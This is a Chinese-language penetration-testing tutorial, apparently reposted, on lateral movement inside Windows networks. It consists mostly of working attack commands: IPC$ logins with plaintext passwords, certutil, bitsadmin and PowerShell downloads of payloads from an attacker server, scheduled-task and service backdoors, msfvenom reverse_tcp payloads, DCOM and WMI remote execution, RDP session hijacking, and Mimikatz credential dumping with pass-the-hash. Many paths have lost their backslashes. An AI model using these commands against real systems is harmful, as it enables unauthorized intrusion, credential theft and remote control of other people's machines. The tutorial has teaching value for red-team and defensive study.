内网渗透测试 | 横向常见利用手法

admin 2023年11月14日08:51:54评论19 views字数 14411阅读48分2秒阅读模式

内网渗透测试 | 横向常见利用手法前言

本文在介绍内网横向的常见利用手法,希望能对初学内网的师傅有所帮助。

内网横向中的文件传输

通过网络共享

Windows系统中的网络共享功能可以实现局域网之间的文件共享。通过提供有效的用户凭据,用户可以轻松地将文件从一台机器传输到另一台机器。

执行net share指令,获得Windows系统默认开启的网络共享

内网渗透测试 | 横向常见利用手法

其中

C$为C盘共享
ADMIN$为系统共享目录
IPC$是共享"命名管道"的资源。

IPC,全称为Internet Process Connection,是共享"命名管道"的资源,它是为了让进程间通信而开放的命名管道,可以通过验证用户名和密码获得相应的权限,在远程管理计算机和查看计算机的共享资源时使用。

建立IPC连接需要有两个条件,具体如下

1、远程主机开启了IPC连接
2、远程主机的139和445端口开放

默认情况下Windows的IPC以及139、445端口均是开放的,所以我们接下来来进行尝试连接。

连接指令如下所示

net use \192.168.128.131ipc$ "Qq123456." /user:"administrator"

此时就会以administrator的身份登录到192.168.128.131主机,其中,Qq123456.为管理员密码。

内网渗透测试 | 横向常见利用手法

此时可以发现连接完成,连接完成后,我们可以查看当前目录,也可以复制文件,具体指令如下

copy 1.txt \IPC$
//上传本机上的1.txt到目标机器的C盘下
dir \IPC$
//查看目标机器C盘下的文件目录

内网渗透测试 | 横向常见利用手法

当然,也可以查看当前在运行的进程,检测是否存在杀软

tasklist /s 192.168.128.131 /u administrator /p Qq123456.

内网渗透测试 | 横向常见利用手法

不过这个在有杀软的时候其实是执行不了命令的,执行dircopy指令都会被检测出来,然后自动中断IPC连接(使用火绒的时候是这样),还有存在防火墙的时候是无法执行tasklist的,所以记得执行命令前需要先关闭防火墙。

回到上文,既然可以上传txt文件,同理,我们可以上传exe文件,进而通过cs或msf等上线目标主机。

搭建SMB服务器

在实战环境下,如果我们不能连接目标主机的SMB服务,我们也可以在自己的服务器上搭建一个简易SMB服务器,将需要横向传输的文件(如木马文件)放入SMB服务器的共享目录,并指定UNC路径。然后通过操控目标主机连接服务器,使得目标主机可以加载SMB上的文件。

Linux搭建简易SMB服务器方式如下

首先下载Impacket下的smbserver.py脚本,其链接如下

https://github.com/fortra/impacket/blob/impacket_0_10_0/ex

amples/smbserver.py

而后运行如下指令

mkdir /root/share
python smbserver.py evilsmb /root/share -smb2support

内网渗透测试 | 横向常见利用手法

接下来共享目录evilsmb就已经生成成功了,接下来执行连接指令

内网渗透测试 | 横向常见利用手法

此时可以发现成功执行指令,接下来假设1.txt是我们准备好的恶意文件,我们如何将他上传到目标主机呢,使用copy命令即可

copy \IP共享目录文件名 2.txt

内网渗透测试 | 横向常见利用手法

成功上传。

通过WIndows自带工具

Certuil

Certuil是WIndows自带的命令行工具,用于管理Windows证书并作为证书服务的一部分安装。Certuil提供了从网络中下载文件的功能,我们可以在远程主机上执行Certuil命令,控制其下载预先部署在服务器上的恶意文件,如木马文件。

执行具体命令如下

首先在服务器上开启http服务,也可以用docker搭建ldap服务,这里方便起见,直接用python起一个http服务

内网渗透测试 | 横向常见利用手法

而后在目标主机上执行如下指令即可下载文件

certutil -urlcache -split -f http://192.168.1.1:8000/abc.exe C:usersqwq1.EXE

内网渗透测试 | 横向常见利用手法

可以发现成功上传了文件

BITSAdmin

BITSAdmin是Windows命令行工具,可以用于创建、下载或上传作业,监视其进度,WIndows7及之后版本自带此工具,具体利用指令如下

bitsadmin /transfer test http://IP:Port/shell.exe C:usersshell.exe

内网渗透测试 | 横向常见利用手法

传输完成后即为上传完成

内网渗透测试 | 横向常见利用手法

Powershell

指令如下

(New-Object Net.WebClient).DownloadFile('http://IP:Port/shell.exe','C:shell.exe')

内网渗透测试 | 横向常见利用手法

此时成功上传文件

创建计划任务

常规流程

我们可以通过已经建立的IPC连接,在远程主机上创建计划任务,进而让目标主机在规定的时间点或周期内执行特定操作。在拥有对方管理员凭据的条件下,可以通过计划任务实现横向移动,具体步骤如下:

1、利用已建立的共享连接向远程主机上传恶意文件(exe木马文件)
2、利用已建立的IPC连接或指定用户凭据的方式在远程主机上创建计划任务,执行指令如下
schtasks /Create /S IP /TN 计划任务名称 /SC minute /MO 1 /TR C:shell.exe /RU System /F
#/S 要连接的系统 /TN 指定创建的计划任务名称 /SC 指定计划任务执行频率 /MO 指定计划任务执行周期 /TR 指定计划任务运行的程序路径 /RU 指定计划任务运行的用户权限 /F 如果指定的任务存在,则强制创建(覆盖)
注:如果没有IPC连接,在后面加上 /u 用户名 /p 密码 即可创建计划任务
3、立即启动该计划任务,其指令如下
schtasks /RUN /S IP /I /TN 计划任务名称

具体示例如下

首先上传恶意文件,我上文上传过了,所以这里不再演示,接下来创建计划任务,具体指令如下

schtasks /Create /S 192.168.128.131 /TN Backdoor /SC minute /MO 1 /TR C:shell.exe /RU System /F /U Administrator /p Qq123456.

内网渗透测试 | 横向常见利用手法

接下来执行计划任务,即可在攻击机上线

schtasks /RUN /S 192.168.128.131 /I /TN Backdoor

内网渗透测试 | 横向常见利用手法

成功上线

也可以通过计划任务执行系统指令,将结果写入到文件中,然后通过type进行远程文件读取。

具体指令如下

schtasks /Create /S 192.168.128.131 /TN Backdoor2 /SC minute /MO 1 /TR "CWindowsSystem32cmd.exe /c 'whoami' > C:result.txt" /RU System /F /U Administrator /P Qq123456.

内网渗透测试 | 横向常见利用手法

接下来读取即可

type \192.168.128.131C$result.txt

UNC路径加载执行

WIndows系统中使用UNC路径来访问网络共享资源,格式如下

\servernamesharenamedirectoryfilename

其中,servername是主机名,sharename是网络共享的名称,dircetory和filename分别为该目录下的目录和文件。

我们这里可以用自己的服务器来搭建SMB服务,并将恶意文件放置在SMB共享文件中,而后使用计划任务让目标主机访问即可。

实例如下:

首先搭建SMB服务,具体方式可参考上面搭建SMB服务器目录下的内容,这里不再演示

内网渗透测试 | 横向常见利用手法

搭建好之后即可在远程主机上创建计划任务,具体如下

schtasks /Create /S 192.168.128.131 /TN Backdoor /SC minute /MO 1 /TR \192.168.1.4evilsmbabc.exe /RU System /F /U Administrator /P Qq123456.

内网渗透测试 | 横向常见利用手法

此时提示创建成功,接下来开启在服务器开启msf监听

内网渗透测试 | 横向常见利用手法

而后启动计划任务

schtasks /RUN /S 192.168.128.131 /I /TN Backdoor  /U Administrator /P Qq123456.

内网渗透测试 | 横向常见利用手法

此时即可成功上线

内网渗透测试 | 横向常见利用手法

利用系统服务

创建远程服务

除了计划任务,我们还可以在远程主机上创建系统服务,进而运行指定的程序或命令,该方式需要拥有两端主机的管理员权限和IPC$连接,具体操作如下:

1、利用已建立的IPC连接向目标主机上传恶意文件

2、利用已建立的IPC连接在远程主机上创建系统服务

示例如下:

前文已上传过恶意文件,这里直接创建系统服务,具体命令如下

sc \192.168.128.131 create Backdoor binpath="cmd.exe /k C:abc.exe"
#binpath,指定服务启动时运行的二进制文件,注意"="后需要有一个空格

内网渗透测试 | 横向常见利用手法

接下来运行指令,启动系统服务

sc \192.168.128.131 start Backdoor

内网渗透测试 | 横向常见利用手法

此时虽然提示错误,但在msf上已成功上线。

攻击成功后,将创建的服务删除,指令如下

sc \192.168.128.131 delete Backdoor

内网渗透测试 | 横向常见利用手法

SCShell

SCShell是一款利用系统服务的无文件横向移动工具。与传统的创建远程服务的方法不同,SCShell利用提供的用户凭据,通过ChangeServiceConfigAPI修改远程主机上的服务配置,将服务的二进制路径名修改为指定的程序或攻击载荷,然后重启服务。执行结束后,服务二进制路径将恢复为原始路径。

SCShell需要提供远程主机的管理员权限用户的凭据,并且需要已知远程主机上的系统服务名称。方法如下:

SCShell.exe 192.168.128.131 XblAuthManager "C:WindowsSystem32cmd.exe" /c calc" hack-my.com

接下来演示通过Regsvr(32)执行外部SCT文件的方式上线远程主机。

1、在我们的服务器上通过msf启动一个web Delivery,并生成用于Regsvr(32)执行的Payload,如下图所示

内网渗透测试 | 横向常见利用手法

然后通过SCShell在远程主机上执行生成的Payload,命令如下

SCShell.exe 192.168.1.14 XblAuthManager "C:WindowsSystem32cmd.exe /c C:WindowsSystem32resgvr(32).exe /s /n /u /i:http://192.168.1.4:8080/8b4O7r3k.sct scrobj.dll" demo.com Administrator Qq123456.

执行后即可上线。

远程桌面利用

远程桌面(Remote Desktop Protocol,RDP)是微软从Windows Server 2000开始提供的功能,用户可以通过该功能登录并管理远程主机。远程桌面协议默认监听TCP3389端口。

利用远程桌面进行横向是较为常见的方法。当内网的其他主机开启了RDP服务后,我们可以通过已获取的用户凭据,借助内网代理等技术进行远程登录,通过远程桌面服务对目标主机进行实时操作。但是这种方法可能将已登录的用户强制退出容易被管理员发现。

远程桌面的确定和开启

我们如何确定当前远程桌面是否开启呢,可以通过查询注册表来查看,具体指令如下

reg query "HKLMSYSTEMCurrentControlSetControlTerminal Server " /v fDenyTSConnections

内网渗透测试 | 横向常见利用手法

0x0表示字段值为0,这说明RDP服务已经启动,如果值为1,则说明RDP服务被禁用。

在本机如何开启远程桌面功能呢,我们可以通过如下指令实现

# 开启远程桌面连接功能
reg add "HKLMSYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
# 关闭 "仅允许运行使用网络级别身份验证的远程桌面的计算机连接"(鉴权)
reg add "HKLMSYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0
# 设置防火墙策略放行3389端口
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow

对于远程主机的话,我们可以通过WMI来开启远程桌面功能

wmic /Node:192.168.1.16 /User:Administrator /Password:Qq123456. RDTOGGLE WHERE ServerName='WIN-ENS2VR5TR3N' call SetAllowTSConnections 1

内网渗透测试 | 横向常见利用手法

远程桌面劫持

对于开启远程桌面服务的Windows计算机,当多个用户进行登录时,会产生多个会话。渗透测试人员可以通过已获取的SYSTEM权限劫持其他用户的RDP会话,并在未授权的情况下成功登入目标系统,即使由于用户的会话已经断开,这种攻击方法被称为RDP Hijacking(远程桌面劫持)

远程桌面劫持需要系统SYSTEM权限并执行tscon命令。该命令提供了一个切换用户会话的功能。

在正常情况下,切换会话时需要提供目标用户的登录密码,但在SYSTEM权限下能够完全绕过认证,不输入密码即可切换到目标用户的会话,从而实现未授权登录。

例如,当我们通过获取了一台主机的普通用户权限时,并以该用户成功登录远程桌面,此时执行query user命令,发现还存在其他用户的会话记录

query user
用户名 会话名 ID 状态 空闲时间 登录时间
abc 6 断开 - 2023/10/31 22:22
test console 7 运行中 - 2023/11/1 11:11
qwq 8 断开 - 2023/10/30 12:12

此时,如果我们通过提权方法能够获取到系统SYSTEM权限,就可以在不提供其他用户登录凭据的情况下劫持用户的RDP会话,只需要执行如下命令即可切换到其他用户

tscon 8

此时就可以切换到qwq用户的桌面

PsExec远程控制

PsExec是微软官方提供的一款使用的Windows远程控制工具,可以根据凭据在远程系统上执行管理操作,并且可以获得与命令行几乎相同的实时交互性。PsExec原理是通过SMB连接到服务端的Admin$共享,并释放名为psexecsvc.exe的二进制文件,然后注册名为PSEXECSVC服务。当客户端执行命令时,服务端通过PSEXECSVC服务启动相应的程序执行命令并回显数据。运行结束后,PSEXECSVC服务会被删除。

条件

使用PsExec进行远程操作需要具备以下条件

1、远程主机开启了Admin$共享
2、远程主机未开启防火墙或放行445端口

示例

具体执行指令如下

PsExec.exe -accepteula \192.168.1.16 -u DEMO-COMAdministrator -p Qq123456. -s cmd.exe
# -acceptula-禁止弹出许可对话框
# -u 指定远程主机的用户名
# -p 指定用户密码
# -s,以SYSTEM权限启动进程,如果未指定该参数,就以管理员权限启动进程

内网渗透测试 | 横向常见利用手法

此时可以看到成功以SYSTEM权限启动命令交互行。

在内网渗透中,如果已有相应凭据,那么可以直接使用PSEXEC连

接远程主机,如下所示

PsExec.exe -accepteula \192.168.1.16 cmd.exe

内网渗透测试 | 横向常见利用手法

WMI利用

WMI(Windows Management Instrumentation,Windows 管理规范)是一项核心的Windows管理技术,用户可以通过WMI管理本地和远程计算机。WIndows为远程传输WMI数据提供了两个可用的协议,即分布式组件模型(Distributed Component Object Model, DCOM)和Windows远程管理(Windows Remote Management,WInRM),使得WMI在对象的查询、事件注册、WMI类方法的执行和类的创建等操作都能够远程进行。

在横向过程中,我们可以利用WMI提供的管理功能,通过以获取的用户凭据,与本地或远程主机进行交互,并控制其执行各种行为。目前有两种常见的利用方法:

1、调用WMI的类方法进行远程执行,如Win32_Process类中的Create方法可以在远程主机上创建进程,Win32_Product类中的Intsall方法可以在远程主机上安装恶意的MSI。

2、部署WMI事件订阅,在特定条的事件发生时触发攻击。

条件

利用WMI进行横向移动需要具备以下条件:

1、远程主机的WMI服务为开启状态(默认开启)

2、远程主机防火墙放行135端口(此为WMI的默认端口)

常规流程

在WIndows上一般使用wmic.exePowerShell Cmdlet来使用WMI数

据和执行WMI方法。

执行远程查询

我们该如何在本机上查询远程主机的进程信息呢,可以通过wmic的如下命令来实现,具体代码如下

wmic /node:192.168.1.16 /user:Administrator /password:Qq123456. process list brief
# /node 指定远程主机地址
# /user 指定远程主机的用户名
# /password 指定用户密码

内网渗透测试 | 横向常见利用手法

创建远程进程

通过调用Win32_Process.Create,我们可以在远程主机上创建进程,启动CMD来执行系统命令,但由于WMIC在执行命令时是无回显的,所以我们可以将执行结果写入到某文件,然后通过共享连接等方式读取文本内容。

代码如下

wmic /node:192.168.1.16 /user:Administrator /password:Qq123456. process call create "cmd.exe /c ipconfig > C:test.txt"

内网渗透测试 | 横向常见利用手法

而后查看此文件即可发现已执行命令

内网渗透测试 | 横向常见利用手法

远程安装MSI文件

通过调用Win32_Product.Install方法,可以控制远程主机安装恶意的MSI文件,从而获取其权限。

具体步骤如下

1、使用msf生成一个恶意的MSI文件

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.4 LPORT=4444 -f msi -o shell.msi

内网渗透测试 | 横向常见利用手法

2、在我们的服务器上搭建简易SMB服务,并将MSI文件放在其中

内网渗透测试 | 横向常见利用手法

接下来在跳板机上执行如下命令

wmic /node:192.168.1.16 /user:Administrator /password:Qq123456. product call install PackageLocation="\192.168.1.4evilsmbshell.msi"

内网渗透测试 | 横向常见利用手法

此时再查看msf可以发现成功上线

内网渗透测试 | 横向常见利用手法

常见利用工具

Wmiexec

Impacket项目的wmiexec.py能够以全交互或变交互方式,通过WMI在远程主机上执行命令。

但该工具有利用条件,条件如下

1、远程主机需要开启135端口
2、远程主机需要开启445端口,用于传输命令执行的回显

内网渗透测试 | 横向常见利用手法

可以看到成功获取交互式命令行

Invoke-WmiCommand

Invoke-WmiCommand.ps1PowerSploit项目中的一个脚本,可以通过Powershell调用WMI来远程执行命令:

#远程加载脚本
IEX(New-Object Net.Webclient).DownloadString('http://192.168.1.4:8000/Invoke-WmiCommand.ps1')
#指定远程系统用户名
$User = "DEMO-LABAdministrator"
#指定用户密码
$Password = ConvertTo-SecureString -String "Qq123456." -AsPlainText -Force
#将用户名和密码整合,以便导入Credential
$cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$Password
#指定远程主机的IP和要执行的命令
$Remote = Invoke-WmiCommand -Payload {ipconfig} -Credential $Cred -ComputerName "192.168.1.18"
# 输出命令执行回显
$Remote.PayloadOutput

执行成功后,可以得到回显,具体如下图

内网渗透测试 | 横向常见利用手法

DCOM利用

定义

在介绍DCOM之前,首先来简单介绍一下COM。

COM(Component Object Model,组件对象模型)是微软的一套软件组件的二进制接口标准,使得跨编程语言的进程间通信、动态对象创建成为可能。

COM由一组构造规范和组件对象库组成。COM组件在对象通过接口来描述自身,组件提供的所有服务都通过其接口公开。接口被定义为在对象上实现的一组语义上相关的功能,实质是一组函数指针表。每个指针必须初始化指向一个对象模型和编程要求,使COM对象能够与其他对象交互。这些对象可以在单个进程中,也可以在其他进程中,甚至可以在远程计算机上。

DCOM(Distributed Component Object Model,分布式组件对象模型)是微软基于组件对象模型(COM)的一系列概念和程序接口,支持不同机器上的组件间的通信。利用DCOM,客户端程序1对象能够请求来自网络中另一台计算机上的服务器程序对象。

DCOM是COM的扩展,允许应用程序实例化和访问远程计算机的COM对象的属性和方法。DCOM使用远程过程调用(RPC)技术将组件对象模型(COM)的功能扩展到本地计算机之外,因此,在远程系统上托管COM服务器端的软件(通常在DLL或EXE中)可以通过RPC向客户端公开其方法。

DCOM横向移动

部分DCOM组件公开的接口中可能包含不安全的方法。例如,MMC20.Application提供的ExecuteShellCommand方法可以在单独的进程中运行指定的程序或命令。

执行以下命令,可以列出计算机上所有的DCOM程序组件,如下所示

Get-CimInstance Win32_DCOMApplication

内网渗透测试 | 横向常见利用手法

我们可以枚举包含不安全防范的其他DCOM对象, 并与远程计算机的DCOM进行交互,从而实现远程执行。不过这个需要有以下条件

1、需要拥有管理员权限的Powershell
2、远程主机未开启防火墙

MMC20.Application

MMC20.Application对象的Document.ActiveView下存在一个ExecuteShellCommand方法,可以用来启动子进程并运行执行的程序或系统命令,接下来进行具体演示。

1、生成攻击载荷

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.4 LPORT=4444 -f exe > shell.exe

内网渗透测试 | 横向常见利用手法

2、在一台可操控的服务器上搭建SMB匿名共享服务,并将生成的攻击载荷放入共享目录。

内网渗透测试 | 横向常见利用手法

2、在管理员权限的Powershell中执行以下命令

# 通过ProgID与DCOM进行远程交互,并创建MMC20.Applicantion对象的实例
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.1.18"))
# 调用ExecuteShellCommand方法启动进程,以运行攻击载荷
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c \192.168.1.4evilsmbabc.exe","Minimized")

内网渗透测试 | 横向常见利用手法

通过MMC20.Application在远程主机上启动进程,加载SMB共享中的攻击载荷并上线。

在调用过程中,MMC20.Application会启动mmc.exe进程,通过ExecuteShellCommand方法在mmc.exe中创建子进程(适用Windows7及以上的版本)。

ShellWindows

ShellWindows组件提供了Document.Application.ShellExecute方法,可以启动子进程来运行指定的程序或系统命令(适用Windows7及以上系统)。

由于ShellWindows对象没有ProgID,因此需要使用期CLSID来创建实例。ShellWindows对象的CLSID9BA05972-F6A8-11CF-A442-00A0C90A8F39,接下来即可执行命令,具体代码如下:

# 通过PowerShell与DCOM进行远程交互,创建ShellWindows对象的实例:
$com=[Activator]::CreateInstance([Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"192.168.1.18"))

# 然后执行如下命令,我们就可以调用该对象的"ShellExecute"方法在远程主机上启动进程:
$com.item().Document.Application.ShellExecute("cmd.exe","/c \192.168.1.4evilsmbshell.exe","c:windowssystem32",$null,0)

内网渗透测试 | 横向常见利用手法

可以看到成功上线,我们通过ShellWindows在远程主机上执行恶意载荷。这里需要注意的是,ShellWindows并不会创建新进程,而是在已有explorer.exe进程中创建并执行子进程。

ShellBrowserWindow

使用条件

适用Windows 10和Windows Server 2012 R2等版本的系统。

ShellBrowserWindow中也存在一个Document.Application.ShellExecute方法,与ShellWindows一样,但不会创建新进程,而是通过已有的explorer.exe来托管子进程。

利用方法如下

# 通过PowerShell与DCOM进行远程交互,创建Excel.Application对象的实例:
$com = [activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","192.168.1.18"))

# 然后执行如下命令,我们就可以调用该对象的"shellExecute"方法在远程主机上启动进程:
$com.Document.Application.shellExecute("cmd.exe","/c \192.168.1.4evilsmbshell.exe","c:windowssystem32",$null,0)

内网渗透测试 | 横向常见利用手法

WinRM利用

WinRM是通过执行WS-Management协议(用于远程软件和硬件管理的Web服务协议)来实现远程管理的,允许处于一个共同网络内的Windows计算机彼此之间互相访问和交换信息,对应的端口是5985。在一台计算机启用WinRM服务后,防火墙会自动放行其相关通信端口,另一台计算机便能通过WinRM对其进行远程管理了。

只有在WIndows Server 2008及以上版本可用,WinRM服务才会自动启动。我们通过WinRM服务进行横向移动时,需要拥有远程主机的管理员凭据信息。

通过WinRM执行远程命令

Windows远程管理提供了以下两个命令行工具

1、Winrs,允许执行命令行工具,利用WS-Management协议

2、Winrm(Winrm.cmd),内置系统管理命令行工具,允许管理员配置本机的WinRM服务

这里需要注意的是在默认情况下,我们无法通过WinRM连接到目标系统,在首次使用这些工具进行WinRM连接时,可能会提示TrustedHost列表的计算机未经过身份验证,我们可以执行以下命令,手动将目标的IP地址添加到客户端的信任列表(TrustedHost)中,也可以将TrustedHost设置为*,从而信任全部主机。

添加单个信任IP指令如下

winrm set winrm/config/Clinet @{TrustedHosts="192.168.1.18"}

内网渗透测试 | 横向常见利用手法

信任全部主机指令如下

Set-Item WSMan:localhostclienttrustedhosts -value *

内网渗透测试 | 横向常见利用手法

Winrs

Winrs是Windows远程管理提供的客户端程序,允许通过提供的用户凭据,在运行WinRM的服务器上执行系统命令。

条件是通信双方都安装WinRM服务

示例如下:

环境如下所示(两台机器均已配置信任全部主机)

Winserver2008:192.168.1.18
Winserver2012:192.168.1.21

通过Winrs在远程主机上执行命令

winrs -r:http://192.168.1.21:5985 -u:Administrator -p:Qq123456. "whoami"

通过Winrs获取远程主机的交互式命令行

winrs -r:http://192.168.1.21:5985 -u:Administrator -p:Qq123456. "cmd"

内网渗透测试 | 横向常见利用手法

Winrm.cmd

Winrm.cmd允许WMI对象通过WinRM传输进行远程交互,在本地或远程计算机上枚举MSI对象实例或调用WMI类方法。例如,通过调用Win32_Process类中的Create方法来创建远程进程。

示例如下

winrm invoke create wmicimv2/win32_process -SkipAcheck -skipCNcheck @{commandline="calc.exe" -r:http://192.168.1.21:5985 -u:Administrator -p:Qq123456}

内网渗透测试 | 横向常见利用手法

查询远程主机的进程

内网渗透测试 | 横向常见利用手法

可以发现calc.exe正在运行

通过WinRM获取交互式会话

这里我们可以使用Powershell来进行利用。

Powershell的远程传输协议基于WinRM规范,同时提供了强大的远程管理功能。

Enter-PSSessionPowershell Cmdlet类似cmd,我们使用它来获取交互式会话。

1、在我们的主机上输入如下命令

#指定远程系统用户名
$User = "TEST-LABAdministrator"
#指定用户密码
$Password = ConvertTo-SecureString -String "Qq123456" -AsplainText -Force
#将用户名与密码进行整合以便导入Credential
$cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$Password
#根据提供的凭证创建会话
New-PSSession -Name WinRM1 -ComputerName 192.168.1.21 -Credential $Cred -Port 5985
#-Name 指定创建的会话名称,-ComputerName 指定连接主机的IP或用户名 -Credential 指定有权连接到远程主机的用户凭据

内网渗透测试 | 横向常见利用手法

此时可以发现已成功启动一个与远程主机的交互式会话,名称为WinRM1.

2、执行Get-PSSession命令,可查看当前已创建的会话

内网渗透测试 | 横向常见利用手法

3、根据Name即可进入会话,具体代码如下

Enter-PSSession -Name WinRM1

内网渗透测试 | 横向常见利用手法

注:也可以使用Evil-Winrm等工具。

哈希传递攻击

哈希传递(Pass The Hash,PTH)是一种针对NTLM协议的攻击技术。

在NTLM身份认证的第三步生成Response时,客户端直接使用用户的NTLM哈希值进行计算,用户的明文密码并不参与整个认证过程。也就是说,在Windows系统中只使用用户哈希值对访问资源的用户进行身份认证。

因此,当我们获得有效的用户名和密码哈希值后,就能够使用该信息对远程主机进行身份认证,无需获取明文密码即可获取主机权限。

常规利用

利用Mimikatz进行PTH

Mimikatz中内置了哈希传递功能,需要本地管理员权限。

示例如下:

1、将Mimikatz上传到跳板机并执行如下命令

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" exit

内网渗透测试 | 横向常见利用手法

此时可以发现成功抓到了域管理员的哈希。

2、利用抓取到的域管理员的NTLM Hash进行哈希传递,具体命令如下

mimikatz.exe "privilege::debug" "sekurlsa::pth /user:Administrator /domain:test.lab /ntlm:05df2fd1109e3d3b60f110965f6af128" exit

内网渗透测试 | 横向常见利用手法

此时弹出一个新的命令行窗口,具有域管理员权限,可以访问域控的CIFS服务。

利用Impacket进行PTH

Impacket项目中常见的几个例如psexec.pysmbexec.pywmiexec.py均可进行哈希传递,可以借助内网代理等进行攻击。

这里以smbexec.py为例

python smbexec.py -hashes :05df2fd1109e3d3b60f110965f6af128 test.lab/[email protected]

内网渗透测试 | 横向常见利用手法

利用哈希传递登录远程桌面

哈希传递不仅可以在远程主机上执行命令,在一定条件下也可以建立远程桌面连接。

条件如下

1、远程主机开起了"受限管理员"模式(Windows server 2012 R2及以上版本采用新版RDP,支持受限管理员模式,开启该模式后可通过哈希登录RDP,该模式在Windwos8.1和Windows server 2012 R2上默认开启)
2、用于登录远程桌面的用户位于远程主机的管理员组中
3、目标用户的哈希

如果并非Windows8.1Windows Server 2012 R2,我们也可以手动进行开启,命令如下

reg add "HKLMSystemCurrentControlSetControllsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f

内网渗透测试 | 横向常见利用手法

接下来演示登录远程桌面

1、查询是否开启受限管理员模式,若值为0则表示开启,为1则未开启,命令如下

reg query "HKLMSystemCurrentControlSetControllsa" /v DisableRestrictedAdmin

内网渗透测试 | 横向常见利用手法

为0,说明已开启,可以进行深入利用

2、通过Mimikatz进行后续利用

mimikatz.exe
privilege::debug
sekurlsa::pth /user:Administrator /domain:test.lab /ntlm:05df2fd1109e3d3b60f110965f6af128 "/run:mstsc.exe /restrictedadmin"

内网渗透测试 | 横向常见利用手法

此时即弹出远程桌面连接窗口,确认后即可连接

内网渗透测试 | 横向常见利用手法

大概原理是当哈希传递成功后执行mstsc.exe /restrictedadmin命令,以受限管理员模式运行RDP,此时无需用户名密码即可成功登录。需要注意的是,受限管理员模式只对管理员组中的用户有效。

内网渗透测试 | 横向常见利用手法

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年11月14日08:51:54
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   内网渗透测试 | 横向常见利用手法https://cn-sec.com/archives/2202444.html

发表评论

匿名网友 填写信息